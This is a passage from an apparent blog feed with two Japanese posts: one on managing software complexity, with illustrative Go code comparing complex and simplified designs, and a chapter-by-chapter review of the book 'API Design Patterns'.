―より良いコードを書くための21のルール」も良かったのです。資料としては「複雑さに立ち向かうためのコードリーディング入門」や「オブジェクト指向のその前に-凝集度と結合度/Coheision-Coupling」も合わせてオススメです。複雑性の源泉ソフトウェアの複雑性は様々な要因から生まれます。機能の増加:全ての機能は最初から分かってるわけでなくユーザーの要求に応えるため、次々と新機能が追加されていく。レガシーコードの蓄積:古いコードが新しいコードと共存し、相互作用する。技術的負債:短期的な解決策が長期的な複雑性を生み出す。外部依存関係:サードパーティライブラリやAPIの統合が複雑性を増す。スケーラビリティ要件:大規模なデータや高いトラフィックに対応するための設計が複雑さを増す。これらの要因が相互に作用し合い、ソフトウェアシステムは徐々に、そして時には急激に複雑化していきます。複雑性の影響過度の複雑性は、ソフトウェア開発プロセス全体に深刻な影響を及ぼします。開発速度の低下:新機能の実装や既存機能の修正に時間がかかるようになる。バグの増加:複雑なシステムほど、予期せぬ相互作用やエッジケースが発生しやすい。メンテナンス性の低下:コードベースの理解が困難になり、変更のリスクが高まる。オンボーディングの難化:新しいチームメンバーが全体を把握するまでの時間が長くなる。イノベーションの阻害:既存システムの制約が新しいアイデアの実現を妨げる。複雑性との共存完全に複雑性を排除することは不可能ですが、以下の戦略を通じて管理することは可能です。モジュール化:システムを独立した、理解しやすいコンポーネントに分割する。抽象化:詳細を隠蔽し、高レベルの概念を通じてシステムを理解・操作できるようにする。設計パターンの活用:一般的な問題に対する標準的な解決策を適用する。継続的なリファクタリング:定期的にコードを見直し、改善する。適切な文書化:システムの構造や意思決定の理由を明確に記録する。マイクロサービスアーキテクチャの採用は、大規模なモノリシックシステムの複雑性を管理するための一つのアプローチです。しかし、これは単に銀の弾丸ではなく複雑性の性質を変えるだけで、新たな形の複雑性(例えば、サービス間通信やデータ一貫性の管理)をもたらす可能性があります。そのため、アーキテクチャの選択は慎重に行い、トレードオフを十分に考慮する必要があります。マイクロサービスアーキテクチャ 第2版作者:Sam Newmanオーム社Amazon複雑性と認知負荷ソフトウェアの複雑性は、開発者の認知負荷と密接に関連しています。人間の脳には情報処理能力の限界があり、この限界を超えると効率的な問題解決や創造的思考が困難になります。プログラマー脳 ~優れたプログラマーになるための認知科学に基づくアプローチ作者:フェリエンヌ・ヘルマンス,水野貴明,水野いずみ秀和システムAmazon複雑なソフトウェアシステムは、以下の方法で開発者の認知負荷を増大させます。同時に考慮すべき要素の増加複雑な相互依存関係の理解抽象化レベルの頻繁な切り替え長期記憶と作業記憶の継続的な活用これらの要因により、開発者は「認知の限界」に達し、それ以上の複雑性を効果的に管理することが困難になります。以下は、複雑性が増大したコードの例です。// ComplexSystem は、システム全体の複雑性を体現する構造体です。// 複雑性の要因:多数の依存関係、状態管理、イベント処理、設定管理の組み合わせtype ComplexSystem struct { components map[string]Component // 動的に管理される多数のコンポーネント interactions map[string][]string // コンポーネント間の複雑な相互作用を表現 stateManager *StateManager // 全体の状態を管理する複雑なロジック eventBus *EventBus // 非同期イベント処理による複雑性 configProvider ConfigProvider // 動的な設定変更による複雑性 logger Logger // 複数の場所でのロギングによる情報の分散 cache *Cache // パフォーマンス最適化のための追加レイヤー metrics *MetricsCollector // システム監視のための追加の複雑性 errorHandler ErrorHandler // カスタムエラーハンドリングによる複雑性 scheduler *Scheduler // 非同期タスクスケジューリングによる複雑性}// ProcessEvent は、イベント処理の複雑性を示す関数です。// 複雑性の要因:多段階の処理、エラーハンドリング、状態更新、非同期処理の組み合わせfunc (cs *ComplexSystem) ProcessEvent(event Event) error { cs.metrics.IncrementEventCounter(event.Type) // メトリクス収集による複雑性 cs.logger.Log(\"Processing event: \" + event.Name) // キャッシュチェックによる条件分岐の増加 if cachedResult, found := cs.cache.Get(event.ID); found { cs.logger.Log(\"Cache hit for event: \" + event.ID) return cs.handleCachedResult(cachedResult) } // 複雑な依存関係の解決 affectedComponents := cs.resolveAffectedComponents(event) // ゴルーチンを使用した並行処理による複雑性の増加 resultChan := make(chan ComponentResult, len(affectedComponents)) for _, componentID := range affectedComponents { go cs.processComponentAsync(componentID, event, resultChan) } // 非同期処理結果の収集と統合 for i := 0; i < len(affectedComponents); i++ { result := <-resultChan if result.Error != nil { cs.errorHandler.HandleError(result.Error) return result.Error } cs.updateSystemState(result) } // 動的設定に基づく条件付き処理 config := cs.configProvider.GetConfig() if config.EnablePostProcessing { if err := cs.performPostProcessing(event); err != nil { cs.logger.Error(\"Error in post-processing: \" + err.Error()) return cs.errorHandler.WrapError(err, \"PostProcessingFailed\") } } // イベントバスを使用した非同期通知 cs.eventBus.Publish(NewStateChangedEvent(event.ID, cs.stateManager.GetCurrentState())) // 次のスケジュールされたタスクのトリガー cs.scheduler.TriggerNextTask() cs.logger.Log(\"Event processed successfully\") return nil}// processComponentAsync は、個別のコンポーネント処理を非同期で行う関数です。// 複雑性の要因:ゴルーチン内での処理、エラーハンドリング、状態更新の組み合わせfunc (cs *ComplexSystem) processComponentAsync(componentID string, event Event, resultChan chan<- ComponentResult) { component, exists := cs.components[componentID] if !exists { resultChan <- ComponentResult{Error: fmt.Errorf(\"component not found: %s\", componentID)} return } newState, err := component.HandleEvent(event) if err != nil { resultChan <- ComponentResult{Error: cs.errorHandler.WrapError(err, \"ComponentProcessingFailed\")} return } cs.stateManager.UpdateState(componentID, newState) resultChan <- ComponentResult{ID: componentID, State: newState}}// performPostProcessing は、イベント処理後の追加処理を行う関数です。// 複雑性の要因:条件分岐、エラーハンドリング、外部サービス呼び出しの組み合わせfunc (cs *ComplexSystem) performPostProcessing(event Event) error { // 複雑な条件分岐 switch event.Type { case \"TypeA\": // 外部サービス呼び出し if err := cs.externalServiceA.Process(event); err != nil { return cs.errorHandler.WrapError(err, \"ExternalServiceAFailed\") } case \"TypeB\": // データ変換と検証 transformedData, err := cs.dataTransformer.Transform(event.Data) if err != nil { return cs.errorHandler.WrapError(err, \"DataTransformationFailed\") } if !cs.dataValidator.Validate(transformedData) { return cs.errorHandler.NewError(\"InvalidTransformedData\") } // さらなる処理... default: // デフォルトの複雑な処理ロジック // ... } // メトリクス更新 cs.metrics.IncrementPostProcessingCounter(event.Type) return nil}このコードは、多層の依存関係、複雑な状態管理、非同期イベント処理、動的設定、並行処理、多重エラーハンドリング、クロスカッティングコンサーンなどを含む極度に複雑なシステムを表現しており、その全体を理解し効果的に管理するには開発者の認知能力を大きく超える負荷が必要となります。この複雑性に対処するため、システムを小さな独立したサービスに分割し、各コンポーネントの責務を明確に定義することで、全体の理解と管理を容易にすることができます。以下は、そのアプローチを示す簡略化したサンプルです。// EventProcessor は、イベント処理の主要なインターフェースを定義します。type EventProcessor interface { ProcessEvent(event Event) error}// SimpleEventProcessor は、EventProcessor の基本的な実装です。type SimpleEventProcessor struct { logger Logger repository Repository publisher EventPublisher}// NewSimpleEventProcessor は、SimpleEventProcessor の新しいインスタンスを作成します。func NewSimpleEventProcessor(logger Logger, repository Repository, publisher EventPublisher) *SimpleEventProcessor { return &SimpleEventProcessor{ logger: logger, repository: repository, publisher: publisher, }}// ProcessEvent は、単一のイベントを処理します。func (p *SimpleEventProcessor) ProcessEvent(event Event) error { p.logger.Info(\"Processing event\", \"id\", event.ID, \"type\", event.Type) if err := event.Validate(); err != nil { return fmt.Errorf(\"invalid event: %w\", err) } result, err := p.repository.Store(event) if err != nil { return fmt.Errorf(\"failed to store event: %w\", err) } if err := p.publisher.Publish(result); err != nil { p.logger.Error(\"Failed to publish result\", \"error\", err) } p.logger.Info(\"Event processed successfully\", \"id\", event.ID) return nil}このアプローチにより、システムの複雑性が大幅に低減され、各コンポーネントの役割が明確になり、開発者の認知負荷が軽減されます。結果として、(組織や人によっては)コードの理解、保守、拡張が容易になり、長期的なシステムの健全性が向上します。複雑性のパラドックス興味深いことに、ソフトウェアの複雑性には一種のパラドックスのような構造が存在します。それはシステムを単純化しようとする試みが、かえって複雑性を増大させることがあるのです。例えば:抽象化の過剰:過度に抽象化されたシステムは、具体的な実装の理解を困難にする。過度な一般化:あらゆるケースに対応しようとすることで、システムが不必要に複雑になる。新技術の導入:複雑性を減らすために導入された新技術が、学習コストや統合の複雑さを増す。以下は、過度な抽象化の例です:type AbstractFactory interface { CreateProduct() Product ConfigureProduct(Product) error ValidateProduct(Product) bool}type ConcreteFactory struct { config Config validator Validator decorator Decorator}func (f *ConcreteFactory) CreateProduct() Product { // Complex creation logic return nil}func (f *ConcreteFactory) ConfigureProduct(p Product) error { // Complex configuration logic return nil}func (f *ConcreteFactory) ValidateProduct(p Product) bool { // Complex validation logic return true}// Usagefunc UseFactory(factory AbstractFactory) { product := factory.CreateProduct() err := factory.ConfigureProduct(product) if err != nil { // Error handling } if !factory.ValidateProduct(product) { // Validation failed } // Use the product}このコードは柔軟性を目指していますが、実際の使用時には理解と実装が困難になる可能性があります。このような複雑性のパラドックスに対処するには、適度な抽象化と具体的な実装のバランスを取ることが重要です。以下は、シンプルさと柔軟性のバランスを取った改善例です。type Product struct { // Product fields}type ProductFactory struct { config Config}func NewProductFactory(config Config) *ProductFactory { return &ProductFactory{config: config}}func (f *ProductFactory) CreateProduct() (*Product, error) { product := &Product{} if err := f.configureProduct(product); err != nil { return nil, fmt.Errorf(\"failed to configure product: %w\", err) } if !f.validateProduct(product) { return nil, errors.New(\"product validation failed\") } return product, nil}func (f *ProductFactory) configureProduct(p *Product) error { // Configuration logic return nil}func (f *ProductFactory) validateProduct(p *Product) bool { // Validation logic return true}// Usagefunc UseFactory(factory *ProductFactory) { product, err := factory.CreateProduct() if err != nil { // Error handling return } // Use the product}この改善したコードは、単一責任の原則に基づいた ProductFactory の特化、一箇所でのエラーハンドリング、具体的な型の使用による理解のしやすさ、そして内部メソッドの非公開化によるカプセル化を特徴とし、これらの要素が複合的に作用することで、コードの複雑性を軽減しつつ必要な機能性を維持しています。このアプローチにより、コードの複雑性を減らしつつ、必要な柔軟性を維持することができます。適度な抽象化と具体的な実装のバランスを取ることで、(組織や人によっては)開発者の理解を促進し、長期的なメンテナンス性を向上させることができます。おわりにソフトウェアの複雑性は、諸刃の剣のようなものだと気づきました。それは私たちの能力を押し上げる原動力になる一方で、管理を怠れば混沌を招く危険性も秘めています。完全に複雑性を排除することは不可能かもしれません。しかし、それと向き合い、うまく付き合っていく術を見つけることは可能だと信じています。病気になってから健康に気を使い始めるのが辛いように、限界まで複雑化したソフトウェアをリファクタリングしていく作業も非常に困難です。そのため、早い段階から複雑性を管理する習慣を身につけることが重要です。ただし、この過程で過度に最適化やリファクタリングに固執すると、本来の目的を見失い、それ自体が目的化してしまう危険性があります。これは趣味が手段から目的にすり替わる現象に似ており、行き過ぎた最適化はまた別の問題を引き起こす可能性があります。Tidy First?: A Personal Exercise in Empirical Software Design (English Edition)作者:Beck, KentO'Reilly MediaAmazonしたがって、ビジネス側の要求や理想を実現するために、様々な手法やアプローチを積極的に検証していく姿勢も必要です。技術的な観点だけでなく、ビジネスゴールを常に意識し、両者のバランスを取りながら最適な解決策を模索することが、持続可能なソフトウェア開発につながります。過度な最適化や複雑性の管理に陥ることなく、ビジネス価値の創出と技術的な健全性のバランスを保つことが重要です。日々の開発の中で、継続的な管理プロセスの重要性を実感しています。適切なトレードオフを見極め、チーム内での知識共有や学習を大切にすること。これらは複雑性と付き合っていく上で欠かせない要素です。さらに、ビジネス部門との緊密なコミュニケーションを通じて、技術的な制約や可能性について相互理解を深めることも重要です。ツールやプラクティスは確かに助けになりますが、それらだけでは根本的な解決にはなりません。結局のところ、私たち人間の認知能力と技術の限界との絶え間ない闘いが続くのです。この挑戦に立ち向かい、バランスを取りながら進化し続けること。そして、ビジネスとテクノロジーの両面から問題にアプローチする柔軟性を持つことが、ソフトウェア開発者としての真の成長につながるのではないでしょうか。知らんけど…ソフトウェアファースト第2版 あらゆるビジネスを一変させる最強戦略作者:及川 卓也日経BPAmazon近年の大規模言語モデル(LLM)の急速な発展により、ソフトウェアの複雑性管理に新たな要素がもたらされつつあり、LLMが人間の認知能力を超える可能性が現実味を帯びてきている中、これはソフトウェア開発者にとってチャンスと挑戦の両面を意味します。例えばLLMが複雑なコードベースを瞬時に解析して最適化の提案を行ったり、人間には把握しきれない複雑な相互作用を予測して潜在的な問題を事前に指摘したりする可能性があります。github.com一方で、LLMの判断をどのように検証し、人間の意図や倫理的考慮をどのように組み込んでいくか、またLLMと人間の協働をどのように設計し、それぞれの強みを最大限に活かすかといった新たな課題に対する明確な解答や確立された手法はまだ見つかっていません。このような状況下で、エンジニアとして、LLMの進化とその影響について継続的かつ慎重に情報収集を行い、批判的に分析する姿勢が不可欠です。単に新技術を受け入れるのではなく、その長所と短所を十分に理解し、既存のソフトウェア開発プラクティスとの整合性を慎重に評価する必要があります。 speakerdeck.com今後はLLMの能力を活用しつつ、人間ならではの創造性や突っ込めないコンテキスト、直感、倫理的判断を組み合わせた新しいソフトウェア開発のアプローチを模索し、技術の進歩に適応しながらも人間中心の開発哲学を失わないバランスを取ることが求められるのではないでしょうか?。運用者目線でどうなのか?みたいなことを喋る機会があるので喋っていきたい。event2024.cloudopsdays.comみなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","isoDate":"2024-08-25T05:22:13.000Z","dateMiliSeconds":1724563333000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"すぐに役に立つものはすぐに陳腐化してしまうから方法ではなく設計の本を読む - API Design Patterns の読書感想文","link":"https://syu-m-5151.hatenablog.com/entry/2024/08/20/191435","contentSnippet":"あなたがさっきまで読んでいた技術的に役立つ記事は、10年後も使えるでしょうか?ほとんどの場合でいいえはじめに短期的に効果的な手法や知識は、ソフトウェア開発の分野において、急速に価値を失う傾向があります。この現象は、私たちが何を重点的に学ぶべきかを示唆しています。最も重要なのは、第一に基本的な原理・原則、そして第二に方法論です。特定の状況にのみ適用可能な知識や即座に結果を出すテクニックは、長期的には有用性を失う可能性が高いです。これは、技術や手法が時間とともに進化し、変化していくためです。learning.oreilly.com「API Design Patterns」は、このような考え方を体現した書籍です。しかも480 ページもあります。本書は単なる手法の列挙ではなく、Web APIデザインの根幹をなす原則と哲学を探求しています。著者のJJ Geewax氏は、APIを「コンピュータシステム間の相互作用を定義する特別な種類のインターフェース」と定義し、その本質的な役割を明確に示しています。API Design Patterns (English Edition)作者:Geewax, JJManningAmazonSREの分野においても、netmarkjpさんの「現場がさき、 プラクティスがあと、 原則はだいじに」という卓越した発表資料があります。この資料はこのように原則を大事にしながら現場をやっていくにはどうすればいいかの指針を示してくれています。この書籍との邂逅を通じて、私の視座は大きく拡がりました。日々直面するAPI設計、実装、維持の課題に対し、より深遠な洞察と長期的な展望を得られたと実感しています。特に印象的だったのは、著者によるAPIの定義です。「コンピュータシステム間の相互作用を定義する特別な種類のインターフェース」というこの洞察は、APIの本質的役割を鮮明に照らし出し、私のAPI設計への理解を劇的に深化させました。「はじめに」にあるべき全体像「API Design Patterns」は、APIの基本概念と重要性から始まり、設計原則、基本的な操作と機能、リソース間の関係性の表現方法、複数リソースの一括操作、そして安全性とセキュリティに至るまで、APIデザインの全体像を包括的に扱っており、各パートでは、APIの定義と特性、設計原則(命名規則、リソースの階層など)、基本的な操作(標準メソッド、カスタムメソッドなど)、リソース間の関係性(シングルトンサブリソース、ポリモーフィズムなど)、集合的操作(バッチ処理、ページネーションなど)、そして安全性とセキュリティ(バージョニング、認証など)について詳細に解説し、これらの要素を適切に組み合わせることで、使いやすく、柔軟で、安全なAPIを設計するための総合的な指針を提供しています。よりよいAPIを設計するためのアイデア本書を読み進める中で、「アイデアのつくり方」で説明されているアイデア創出の根幹をなす2つの原理が、私たちのAPI設計にも適用できるのではないかと考えました。これらの原理とは以下の通りです。アイデアとは既存の要素の新たな組み合わせである既存の要素を新しい組み合わせへと導く才能は、事物間の関連性を見出す能力に大きく依存するアイデアのつくり方作者:ジェームス W.ヤングCCCメディアハウスAmazon今後のAPI設計において、これらの原理を意識的に取り入れ、実践していくことで、より革新的で使いやすいAPIを生み出せる可能性があります。日本語版日本語版の出版は、多くの日本人エンジニアにとって、感謝でしかありません。英語特有のニュアンスの把握に苦心する部分も、母国語で読み解くことでより深い理解が得られ、本書の真髄をより効果的に吸収できたと実感しています。APIデザイン・パターン (Compass Booksシリーズ)作者:JJ Geewaxマイナビ出版Amazonむすびこの書との出会いを通じて、私はAPIデザインの本質を体得し、時代を超えて価値を持ち続ける設計スキルを磨くことができたと確信しています。技術の潮流に左右されない、根本的な設計原則を身につけることで、エンジニアとしての自己成長と、より卓越したシステム設計の実現への道が開かれたと感じています。本ブログでは、この読後感に加えて、私が特に注目した点や、本書の概念をGo言語で具現化した実装例なども記しています。これらの追加コンテンツが、本書の理解をより深め、実践への架け橋となることを願っています。「API Design Patterns」との邂逅は、私のエンジニアとしてのキャリアに新たな地平を開いてくれました。本書から得た知見と洞察を、今後の業務に存分に活かし、さらなる高みを目指す所存です。APIの世界への深い理解を得るには、その前史を知ることも重要です。その観点から、「Real World HTTP 第3版―歴史とコードに学ぶインターネットとウェブ技術」も併せてお薦めします。この書は、APIの基盤となるHTTPの歴史と技術を深く掘り下げており、APIデザインの文脈をより広い視野で捉えるのに役立ちます。www.oreilly.co.jp執筆プロセスと建設的な対話のお願い最後に、このブログの執筆プロセスにおいて、大規模言語モデル(LLM)を活用していることをお伝えします。そのため、一部の表現にLLM特有の文体が反映されている可能性があります。ただし、内容の核心と主張は人間である私の思考と判断に基づいています。LLMは主に文章の構成や表現の洗練化に寄与していますが、本質的な洞察や分析は人間の所産です。この点をご理解いただければ幸いです。それを指摘して悦に浸ってるの最高です。あと、基本的には繊細なのでもっと議論ができる意見やポジティブな意見を下さい。本書の内容や私の感想文について、さらに詳しい議論や意見交換をしたい方がいらっしゃいましたら、Xのダイレクトメッセージでご連絡ください。パブリックな場所での一方的な批判は暴力に近く。建設的な対話を通じて、記事を加筆修正したいです。互いの理解をさらに深められることを楽しみにしています。目次Xで時折紹介する本の中には、わずか1行で要点を伝えられるものもある。しかし、その本の私においての価値は必ずしもその長さで測れるものではない。紹介が短い本が劣っているわけでもなければ、長い本が常に優れているわけでもない。重要なのは、その本が読者にどれだけの影響を与え、どれほどの思考を喚起するかだ。はじめに「はじめに」にあるべき全体像よりよいAPIを設計するためのアイデア日本語版むすび執筆プロセスと建設的な対話のお願い目次Part 1 Introduction1 Introduction to APIsWeb APIの特性と重要性API設計アプローチの比較「良い」APIの特性運用可能性とSREの視点表現力と使いやすさシンプル性と柔軟性のバランス予測可能性とコード一貫性著者の主張に対する補完的視点総括と実践への応用継続的改善と進化の重要性結論2 Introduction to API design patternsAPI設計パターンの定義と重要性API設計パターンの構造実践的な適用:Twapiの事例研究メッセージのリスト化データのエクスポートAPI設計パターンの適用:早期採用の重要性結論Part 2 Design principles3 Naming命名の重要性良い名前の特性言語、文法、構文の選択コンテキストと命名データ型と単位結論4 Resource scope and hierarchyリソースレイアウトの重要性リソース間の関係性エンティティ関係図の活用適切な関係性の選択アンチパターンの回避実践的な応用と考察結論5 Data types and defaultsデータ型の重要性と課題プリミティブデータ型の扱いコレクションと構造体実践的な応用と考察結論Part 3 Fundamentals6 Resource identification識別子の重要性と特性実装の詳細識別子の階層と一意性のスコープUUIDとの比較実践的な応用と考察結論7 Standard methods標準メソッドの重要性と概要実装の詳細とベストプラクティス標準メソッドの適用と課題実践的な応用と考察結論8 Partial updates and retrievals部分的な更新と取得の動機フィールドマスクの実装部分的な更新と取得の課題実践的な応用と考察フィールドマスクの高度な使用法部分的な更新と取得の影響結論9 Custom methodsカスタムメソッドの必要性と動機カスタムメソッドの実装副作用の取り扱いリソースvs.コレクションステートレスカスタムメソッド実践的な応用と考察結論10 Long-running operations長時間実行操作の必要性と概要LROの実装LROの状態管理と結果の取得LROの制御と管理実践的な応用と考察結論11 Rerunnable jobs再実行可能なジョブの必要性と概要ジョブリソースの実装ジョブの実行とLRO実行リソースの導入実践的な応用と考察結論Part 4 Resource relationships12 Singleton sub-resourcesシングルトンサブリソースの必要性と概要シングルトンサブリソースの実装シングルトンサブリソースの利点と課題実践的な応用と考察結論13 Cross referencesリソース間参照の必要性と概要リソース間参照の実装リソース間参照の利点と課題実践的な応用と考察結論14 Association resources関連リソースの必要性と概要関連リソースの実装関連リソースの利点と課題実践的な応用と考察結論15 Add and remove custom methods動機と概要実装の詳細利点と課題実践的な応用と考察結論16 Polymorphismポリモーフィズムの必要性と概要ポリモーフィックリソースの実装ポリモーフィズムの利点と課題実践的な応用と考察ポリモーフィックメソッドの回避結論Part 5 Collective operations17 Copy and moveコピーと移動操作の必要性と概要実装の詳細と課題実践的な応用と考察結論18 Batch operationsバッチ操作の必要性と概要バッチ操作の設計原則実装の詳細バッチ操作の影響とトレードオフ実践的な応用と考察結論19 Criteria-based deletion条件に基づく削除の必要性と概要purge操作の設計と実装purge操作の影響とトレードオフ実践的な応用と考察結論20 Anonymous writes匿名データの必要性と概要write メソッドの実装一貫性と運用上の考慮事項実践的な応用と考察結論21 Paginationページネーションの必要性と概要ページネーションの実装ページネーションの影響とトレードオフ実践的な応用と考察ページネーションと全体的なシステムアーキテクチャ結論22 Filteringフィルタリングの必要性と概要フィルタリングの実装フィルタリングの影響とトレードオフ実践的な応用と考察フィルタリングとシステムアーキテクチャ結論23 Importing and exportingインポートとエクスポートの必要性と概要インポートとエクスポートの実装インポートとエクスポートの影響とトレードオフ実践的な応用と考察結論Part 6 Safety and security24 Versioning and compatibilityバージョニングの必要性と互換性の概念後方互換性の定義バージョニング戦略バージョニングのトレードオフ結論25 Soft deletionソフト削除の動機と概要ソフト削除の実装ソフト削除の影響とトレードオフ実践的な応用と考察ソフト削除とシステムアーキテクチャ結論26 Request deduplicationリクエスト重複排除の必要性と概要リクエスト重複排除の実装リクエスト重複排除の影響とトレードオフ実践的な応用と考察リクエスト重複排除とシステムアーキテクチャ結論27 Request validationリクエスト検証の必要性と概要リクエスト検証の実装リクエスト検証の影響とトレードオフ実践的な応用と考察リクエスト検証とシステムアーキテクチャ結論28 Resource revisionsリソースリビジョンの必要性と概要リソースリビジョンの実装リソースリビジョンの影響とトレードオフ実践的な応用と考察リソースリビジョンとシステムアーキテクチャ結論29 Request retrialリクエスト再試行の必要性と概要クライアント側の再試行タイミングサーバー指定の再試行タイミング再試行可能なリクエストの判断実践的な応用と考察結論30 Request authenticationリクエスト認証の必要性と概要デジタル署名の実装リクエストのフィンガープリンティング実践的な応用と考察結論おわりにそもそも、Design Patternsは設計ではないですよね?あとね、方法論は確かに重要ですが、それは単なる「ハウツー」ではありません。優れた方法論は、基本的な原理・原則に基づいており、それらを実践的な形で具現化したものです。つまり、方法論を学ぶことは、その背後にある原理を理解し、それを様々な状況に適用する能力を養うことにつながります。例えば、アジャイル開発やDevOpsといった方法論は、ソフトウェア開発における重要な考え方や原則を実践的なフレームワークとして提供しています。これらの方法論を適切に理解し適用することで、チームの生産性や製品の品質を向上させることができます。しかし、ここで重要なのは、これらの方法論を単なる手順やルールの集合として捉えるのではなく、その根底にある思想や目的を理解することです。そうすることで、方法論を状況に応じて柔軟に適用したり、必要に応じて改良したりすることが可能になります。また、方法論は時代とともに進化します。新しい技術や課題が登場するたびに、既存の方法論が更新されたり、新しい方法論が生まれたりします。したがって、特定の方法論に固執するのではなく、常に学び続け、新しい知識や手法を取り入れる姿勢が重要です。結局のところ、原理・原則と方法論は相互に補完し合う関係にあります。原理・原則は長期的に通用する基盤を提供し、方法論はそれを実践的に適用する手段を提供します。両者をバランスよく学び、理解することで、より効果的かつ柔軟なソフトウェア開発が可能になるのです。言いたいことは言ったので本編どうぞ!Part 1 Introductionこのパートでは、APIの基本概念、重要性、そして「良い」APIの特性について説明しています。APIは「コンピュータシステム間の相互作用を定義する特別な種類のインターフェース」と定義され、その重要性が強調されています。Web APIの特性、RPC指向とリソース指向のアプローチの比較、そして運用可能性、表現力、シンプル性、予測可能性といった「良い」APIの特性が詳細に解説されています。1 Introduction to APIs「API Design Patterns」の第1章「Introduction to APIs」は、APIの基本概念から始まり、その重要性、設計哲学、そして「良い」APIの特性に至るまで、幅広いトピックをカバーしています。著者は、Google Cloud Platformのエンジニアとして長年APIの設計と実装に携わってきた経験を活かし、理論と実践の両面からAPIの本質に迫っています。まず、APIの定義から始めましょう。著者は、APIを「コンピュータシステム間の相互作用を定義する特別な種類のインターフェース」と説明しています。この一見シンプルな定義の背後には、Google Cloud Platform上の数多くのAPIを設計・実装してきた著者の深い洞察が隠れています。例えば、Google Cloud StorageやBigQueryなどのサービスのAPIは、この定義を体現しており、複雑なクラウドリソースへのアクセスを簡潔なインターフェースで提供しています。この定義は、非常に重要です。なぜなら、私たちの日々の業務の多くは、APIを設計し、実装し、そして維持することに費やされているからです。「APIに遊ばれるだけの日々」という表現は、多くのエンジニアの共感を呼ぶでしょう。しかし、著者の示す視点は、APIを単なる技術的な構成要素ではなく、システム設計の中核を成す重要な概念として捉え直すきっかけを与えてくれます。Googleが提供しているAPI設計ガイドも、非常に優れたAPIの例を紹介しています。このガイドは、著者が所属している Google のエンジニアたちが長年の経験から得た知見をまとめたものであり、「API Design Patterns」の内容を補完する貴重なリソースとなっています。cloud.google.comこのガイドと本書を併せて読むことで、APIの設計に関するより包括的な理解が得られます。例えば、ガイドで推奨されている命名規則やエラー処理の方法は、本書で説明されている「良い」APIの特性と密接に関連しています。この章は、APIの基本を学ぶ初心者から、より良いAPI設計を模索する経験豊富な開発者まで、幅広い読者に価値を提供します。著者の洞察は、私たちがAPIをより深く理解し、より効果的に設計・実装するための道標となるでしょう。Web APIの特性と重要性特に印象的だったのは、著者がWeb APIの重要性と特性を強調していることです。Web APIは、ネットワーク越しに機能を公開し、その内部の仕組みや必要な計算能力を外部から見えないようにするという特性を持っています。これは、マイクロサービスアーキテクチャやクラウドを活用した最新のアプリケーションの観点から考えると、非常に重要な概念です。例えば、マイクロサービスは、その内部の仕組みの詳細を隠しつつ、明確に定義された使い方(API)を通じて他のサービスとやり取りします。これにより、サービス同士の依存関係を少なく保ちながら、システム全体の柔軟性と拡張性を高めることができます。著者は、Web APIの特徴として、API提供者が大きな制御力を持つ一方で、利用者の制御力は限られていることを指摘しています。これは実務において重要な考慮点です。例えば、APIの変更が利用者に与える影響を慎重に管理する必要があります。APIのバージョン管理や段階的な導入などの技術を適切に活用することで、APIの進化と利用者のシステムの安定性のバランスを取ることが求められます。API設計アプローチの比較著者は、APIの設計アプローチとして、RPC (Remote Procedure Call) 指向とリソース指向の2つを比較しています。この比較は非常に興味深く、実際の開発現場での議論を想起させます。例えば、gRPCはRPC指向のAPIを提供し、高性能な通信を実現します。一方で、REST APIはリソース指向のアプローチを取り、HTTPプロトコルの特性を活かした設計が可能です。著者が提唱するリソース指向APIの利点、特に標準化された操作(CRUD操作)とリソースの組み合わせによる学習曲線の緩和は、実際の開発現場でも感じる点です。例えば、新しいマイクロサービスをチームに導入する際、リソース指向のAPIであれば、開発者は既存の知識(標準的なHTTPメソッドの使い方など)を活かしつつ、新しいリソースの概念を学ぶだけで素早く適応できます。「良い」APIの特性「良い」APIの特性に関する著者の見解は、特に重要です。著者は、良いAPIの特性として以下の4点を挙げています。運用可能性(Operational)表現力(Expressive)シンプル性(Simple)予測可能性(Predictable)これらの特性は、現代のソフトウェア開発において非常に重要です。運用可能性とSREの視点運用可能性に関しては、APIが機能的に正しいだけでなく、パフォーマンス、スケーラビリティ、信頼性などの非機能要件を満たすことが、実際の運用環境では極めて重要です。例えば、並行処理機能を活用して高性能なAPIを実装し、OpenTelemetryやPrometheusなどのモニタリングツールと連携してメトリクスを収集することで、運用可能性の高いAPIを実現できます。syu-m-5151.hatenablog.com表現力と使いやすさ表現力に関する著者の議論は、API設計の核心を突いています。APIは単に機能を提供するだけでなく、その機能を明確かつ直感的に表現する必要があります。例えば、言語検出機能を提供する場合、TranslateTextメソッドを使って間接的に言語を検出するのではなく、DetectLanguageという専用のメソッドを提供することで、APIの意図がより明確になります。この点は、特にマイクロサービスアーキテクチャにおいて重要です。各サービスのAPIが明確で表現力豊かであれば、サービス間の統合がスムーズになり、システム全体の理解と保守が容易になります。マイクロサービスアーキテクチャ 第2版作者:Sam Newmanオーム社Amazonシンプル性と柔軟性のバランス著者が提案する「共通のケースを素晴らしく、高度なケースを可能にする」というアプローチは、実際のAPI設計で常に意識すべき点です。例えば、翻訳APIの設計において、単純な言語間翻訳と、特定の機械学習モデルを指定した高度な翻訳の両方をサポートする方法が示されています。このアプローチは、APIの使いやすさと柔軟性のバランスを取る上で非常に有用です。このようなデザインは運用の複雑さを軽減し、エラーの可能性を減らすことができます。この辺はとても良いので書籍をご確認下さい。リーダブルコード ―より良いコードを書くためのシンプルで実践的なテクニック (Theory in practice)作者:Dustin Boswell,Trevor 